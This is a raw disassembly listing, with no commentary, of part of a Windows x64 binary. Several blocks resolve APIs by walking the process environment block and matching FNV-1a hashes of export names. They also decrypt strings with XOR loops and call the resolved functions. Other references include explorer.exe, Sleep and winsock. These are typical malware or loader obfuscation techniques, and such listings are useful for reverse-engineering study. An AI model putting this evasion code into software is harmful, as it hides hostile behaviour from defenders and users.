movdqa xmm4, xmmword [0x140100810]
mov eax, 5
movd xmm6, eax
movdqa xmm7, xmmword [0x1401004b0]
mov eax, Ordinal_33
movd xmm8, eax
movdqa xmm9, xmmword [0x1401004c0]
mov rcx, r11
movd xmm2, edi
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm9
paddw xmm3, xmm2
movq xmm0, qword [rcx]
pxor xmm3, xmm0
movq qword [rcx], xmm3
lea eax, [rdi + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm9
paddw xmm3, xmm2
movq xmm0, qword [rcx + 8]
pxor xmm3, xmm0
movq qword [rcx + 8], xmm3
add edi, 8
mov eax, edi
lea rcx, [rcx + 0x10]
cmp edi, 0x10
jl 0x14007ccb1
cmp eax, 0x15
jge 0x14007d8d0
movsxd rax, edi
lea r8, [r11 + rax*2]
mov eax, 0x92492493
imul edi
add edx, edi
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul ecx, eax, 0x38
movzx eax, di
sub ax, cx
add ax, 0x33
xor word [r8], ax
inc edi
lea r8, [r8 + 2]
cmp edi, 0x15
jge 0x14007d8d0
jmp 0x14007cdb2
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov esi, dword [rcx + r10 + 0x88]
add rsi, r10
cmp rsi, r10
je 0x14007cea6
mov r9d, dword [rsi + 0x18]
test r9d, r9d
je 0x14007cea6
mov ebx, dword [rsi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14007cea1
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14007ce80
cmp r8d, 0x31a98fee
je 0x14007ceab
test r9d, r9d
jne 0x14007ce60
mov rax, qword [rax]
jmp 0x14007ce30
mov ecx, dword [rsi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rsi + 0x1c]
add rcx, r10
mov ebx, dword [rcx + rdx*4]
add rbx, r10
lea rdx, [rbp + 0xc8]
call fcn.14007d990
mov r10, rax
movzx eax, word [rax + 0xa]
test ax, ax
je 0x14007cf00
xor word [r10], 0x33
xor word [r10 + 2], 0x34
xor word [r10 + 4], 0x35
xor word [r10 + 6], 0x36
xor word [r10 + 8], 0x37
xor ax, 0x38
mov word [r10 + 0xa], ax
lea rdx, [rbp + 0x510]
call fcn.14007d9b0
mov r11, rax
cmp word [rax + 0x8e], 0
je 0x14007d092
cmp dword [reloc.WS2_32.dll_accept], 2
jl 0x14007d052
movdqa xmm5, xmmword [0x140100490]
movdqa xmm4, xmmword [0x140100810]
mov eax, 5
movd xmm6, eax
movdqa xmm7, xmmword [0x1401004b0]
mov eax, Ordinal_33
movd xmm8, eax
movdqa xmm9, xmmword [0x1401004c0]
mov rcx, r11
movd xmm2, edi
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm9
paddw xmm3, xmm2
movq xmm0, qword [rcx]
pxor xmm3, xmm0
movq qword [rcx], xmm3
lea eax, [rdi + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm9
paddw xmm3, xmm2
movq xmm0, qword [rcx + 8]
pxor xmm3, xmm0
movq qword [rcx + 8], xmm3
add edi, 8
lea rcx, [rcx + 0x10]
cmp edi, 0x48
jl 0x14007cf61
jmp 0x14007d092
mov r8, r11
nop word [rax + rax]
mov eax, 0x92492493
imul edi
add edx, edi
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul ecx, eax, 0x38
movzx eax, di
sub ax, cx
add ax, 0x33
xor word [r8], ax
inc edi
lea r8, [r8 + 2]
cmp edi, 0x48
jl 0x14007d060
xor r9d, r9d
mov r8, r10
mov rdx, r11
xor ecx, ecx
call rbx
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
nop
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov esi, dword [rcx + r10 + 0x88]
add rsi, r10
cmp rsi, r10
je 0x14007d136
mov r9d, dword [rsi + 0x18]
test r9d, r9d
je 0x14007d136
mov ebx, dword [rsi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14007d131
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14007d110
cmp r8d, 0x31a98fee
je 0x14007d13b
test r9d, r9d
jne 0x14007d0f0
mov rax, qword [rax]
jmp 0x14007d0c0
mov ecx, dword [rsi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rsi + 0x1c]
add rcx, r10
mov ebx, dword [rcx + rdx*4]
add rbx, r10
lea rdx, [rbp + 0xc8]
call fcn.14007d990
mov r10, rax
movzx eax, word [rax + 0xa]
test ax, ax
je 0x14007d190
xor word [r10], 0x33
xor word [r10 + 2], 0x34
xor word [r10 + 4], 0x35
xor word [r10 + 6], 0x36
xor word [r10 + 8], 0x37
xor ax, 0x38
mov word [r10 + 0xa], ax
lea rdx, [rbp + 0x408]
call fcn.14007d960
mov r11, rax
cmp word [rax + 0x30], 0
je 0x14007d312
cmp r15d, 2
jl 0x14007d2d8
movdqa xmm5, xmmword [0x140100490]
movdqa xmm4, xmmword [0x140100810]
movd xmm6, r14d
movdqa xmm7, xmmword [0x1401004b0]
movd xmm8, r12d
movdqa xmm9, xmmword [0x1401004c0]
mov rcx, rax
movd xmm2, edi
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm9
paddw xmm3, xmm2
movq xmm0, qword [rcx]
pxor xmm3, xmm0
movq qword [rcx], xmm3
lea eax, [rdi + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm9
paddw xmm3, xmm2
movq xmm0, qword [rcx + 8]
pxor xmm3, xmm0
movq qword [rcx + 8], xmm3
add edi, 8
mov eax, edi
lea rcx, [rcx + 0x10]
cmp edi, 0x18
jl 0x14007d1e2
cmp eax, 0x19
jge 0x14007d312
movsxd rax, edi
lea r8, [r11 + rax*2]
nop
mov eax, 0x92492493
imul edi
add edx, edi
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul ecx, eax, 0x38
movzx eax, di
sub ax, cx
add ax, 0x33
xor word [r8], ax
inc edi
lea r8, [r8 + 2]
cmp edi, 0x19
jl 0x14007d2e0
xor r9d, r9d
mov r8, r10
mov rdx, r11
xor ecx, ecx
call rbx
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
lea rdx, [0x140118208]
lea rcx, [rbp + 0x408]
call fcn.14005e890
nop
lea rcx, [rbp + 0x408]
call fcn.140035fb0
mov r9, rax
xor edx, edx
lea rcx, [rbp + 0x408]
call fcn.140012ac0
mov dword [rsp + 0x28], edi
mov qword [rsp + 0x20], rdi
mov r8, rax
mov ecx, 0xfde9
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
movsxd rbx, eax
mov rdx, rbx
lea rcx, [rbp + 0x388]
call fcn.14007ec80
nop
lea rcx, [rbp + 0x388]
call fcn.14005e700
mov r10, rax
xor edx, edx
lea rcx, [rbp + 0x408]
call fcn.140012ac0
mov r8, rax
lea rcx, [rbp + 0x408]
call fcn.140035fb0
mov r9, rax
mov dword [rsp + 0x28], ebx
mov qword [rsp + 0x20], r10
mov ecx, 0xfde9
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r11, qword [rax + 0x30]
movsxd rcx, dword [r11 + 0x3c]
mov edi, dword [rcx + r11 + 0x88]
add rdi, r11
cmp rdi, r11
je 0x14007d456
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14007d456
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r11 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r11
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14007d451
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14007d430
cmp r8d, 0x31a98fee
je 0x14007d45b
test r9d, r9d
jne 0x14007d410
mov rax, qword [rax]
jmp 0x14007d3e0
mov ecx, dword [rdi + 0x24]
add rcx, r11
movzx edx, word [rcx + r9*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r11
mov r10d, dword [rcx + rdx*4]
add r10, r11
lea rcx, [rbp + 0x388]
call fcn.14005e700
xor r9d, r9d
lea r8, str.Error
mov rdx, rax
xor ecx, ecx
call r10
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
nop
mov dword [rbp + 0x4c8], reloc.WS2_32.dll_select
call fcn.14002bd20
call fcn.140047100
mov rcx, qword [0x140118348]
test rcx, rcx
je 0x14007d4c7
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
mov qword [0x140118348], rdi
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rdx, rax
lea rcx, str.ImGui_Platform
call qword [sym.imp.USER32.dll_UnregisterClassW]
mov rcx, qword [0x140118358]
test rcx, rcx
je 0x14007d4f1
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
mov qword [0x140118358], rdi
mov qword [0x140118360], rdi
mov qword [0x140118368], rdi
mov qword [0x140118370], rdi
mov qword [0x140118378], rdi
mov qword [0x140118380], rdi
mov dword [reloc.WS2_32.dll_htons], 9
mov byte [0x140117e34], 0
mov byte [reloc.WS2_32.dll_accept], 1
mov rbx, qword [0x140117be0]
mov rcx, rbx
call fcn.14001a410
mov rax, qword [0x140117be0]
cmp rax, rbx
cmove rax, rdi
mov qword [0x140117be0], rax
test rbx, rbx
je 0x14007d585
mov rcx, rbx
call fcn.1400359a0
mov rax, qword [0x140117be0]
test rax, rax
je 0x14007d576
dec dword [rax + 0x3b0]
mov rdx, qword [0x140117bd0]
mov rcx, rbx
call sub.api_ms_win_crt_heap_l1_1_0.dll_free
mov rcx, qword [0x140117c30]
test rcx, rcx
je 0x14007d59e
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
mov qword [0x140117c30], rdi
mov rcx, qword [0x140117c50]
test rcx, rcx
je 0x14007d5b7
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
mov qword [0x140117c50], rdi
mov rdx, qword [rbp + 0x318]
mov rcx, qword [rbp + 0x340]
call qword [sym.imp.USER32.dll_UnregisterClassW]
nop
mov rax, qword [rbp + 0x620]
movsxd rcx, dword [rax + 4]
lea rbx, vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx + 0x620], rbx
mov rax, qword [rbp + 0x620]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx + 0x61c], edx
lea rcx, [rbp + 0x628]
call fcn.14005e230
lea rcx, [rbp + 0x630]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rbp + 0x6c8]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
nop
mov rax, qword [rbp + 0x730]
movsxd rcx, dword [rax + 4]
mov qword [rbp + rcx + 0x730], rbx
mov rax, qword [rbp + 0x730]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx + 0x72c], edx
lea rcx, [rbp + 0x738]
call fcn.14005e230
lea rcx, [rbp + 0x740]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rbp + 0x7d8]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
nop
mov rax, qword [rbp + 0x840]
movsxd rcx, dword [rax + 4]
mov qword [rbp + rcx + 0x840], rbx
mov rax, qword [rbp + 0x840]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov rax, rcx
mov dword [rbp + rcx + 0x83c], edx
lea rcx, [rbp + 0x848]
call fcn.14005e230
lea rcx, [rbp + 0x850]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rbp + 0x8e8]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
nop
mov rcx, qword [rbp + 0x468]
test rcx, rcx
je 0x14007d721
mov rdx, qword [rbp + 0x478]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14007d70a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14007d70a
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400e44b0
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x468], xmm0
mov qword [rbp + 0x478], rdi
mov rcx, qword [rbp + 0x480]
test rcx, rcx
je 0x14007d776
mov rdx, qword [rbp + 0x490]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14007d75f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14007d75f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400e44b0
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x480], xmm0
mov qword [rbp + 0x490], rdi
mov rcx, qword [rbp + 0x498]
test rcx, rcx
je 0x14007d7cb
mov rdx, qword [rbp + 0x4a8]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14007d7b4
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14007d7b4
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400e44b0
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x498], xmm0
mov qword [rbp + 0x4a8], rdi
mov rdx, qword [rbp + 0x508]
cmp rdx, 0x10
jb 0x14007d868
inc rdx
mov rcx, qword [rbp + 0x4f0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14007d80e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14007d80e
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400e44b0
jmp 0x14007d868
mov rcx, qword [0x140117c50]
mov rdx, qword [0x140117c30]
test rdx, rdx
je 0x14007d83f
mov rax, qword [rdx]
mov rcx, rdx
call qword [rax + reloc.WS2_32.dll_recv]
mov qword [0x140117c30], rdi
mov rcx, qword [0x140117c50]
test rcx, rcx
je 0x14007d851
mov rdx, qword [rcx]
call qword [rdx + reloc.WS2_32.dll_recv]
mov qword [0x140117c50], rdi
mov rdx, qword [rbp + 0x318]
mov rcx, qword [rbp + 0x340]
call qword [sym.imp.USER32.dll_UnregisterClassW]
mov eax, r12d
mov rcx, qword [rbp + 0x950]
xor rcx, rsp
call fcn.1400e4490
lea r11, [rsp + 0xb00]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
movaps xmm8, xmmword [r11 - 0x30]
movaps xmm9, xmmword [r11 - 0x40]
movaps xmm10, xmmword [r11 - 0x50]
movaps xmm11, xmmword [r11 - 0x60]
movaps xmm12, xmmword [r11 - 0x70]
movaps xmm13, xmmword [r11 - 0x80]
movaps xmm14, xmmword [r11 - 0x90]
movaps xmm15, xmmword [r11 - 0xa0]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
xor r9d, r9d
mov r8, r10
mov rdx, r11
xor ecx, ecx
call rbx
mov ecx, 0x5dc
call qword [sym.imp.KERNEL32.dll_Sleep]
call fcn.1400764b0
int3
sub rsp, 0x88
xorps xmm0, xmm0
lea rdx, str.explorer.exe
xorps xmm1, xmm1
lea rcx, [rsp + 0x20]
mov r8d, listen
movups xmmword [rsp + 0x20], xmm0
movdqu xmmword [rsp + 0x30], xmm1
call fcn.140012c50
lea rax, vtable.std::_Func_impl_no_alloc_void____cdecl___void___void___.0
mov qword [rsp + 0x40], rax
lea rcx, [rsp + 0x40]
lea rax, [fcn.1400130a0]
mov qword [rsp + 0x48], rax
lea rax, [rsp + 0x40]
mov qword [rsp + 0x78], rax
mov rax, qword [0x1400fff40]
call rax
mov rcx, qword [rsp + 0x78]
test rcx, rcx
je 0x14007e1e3
mov rax, qword [rcx]
lea rdx, [rsp + 0x40]
cmp rcx, rdx
setne dl
call qword [rax + reloc.WLDAP32.dll_Ordinal_32]
mov qword [rsp + 0x78], 0
mov rdx, qword [rsp + 0x38]
cmp rdx, 0x10
jb 0x14007e223
mov rcx, qword [rsp + 0x20]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14007e21e
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14007e21e
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400e44b0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
add rsp, 0x88
jmp 0x140076c90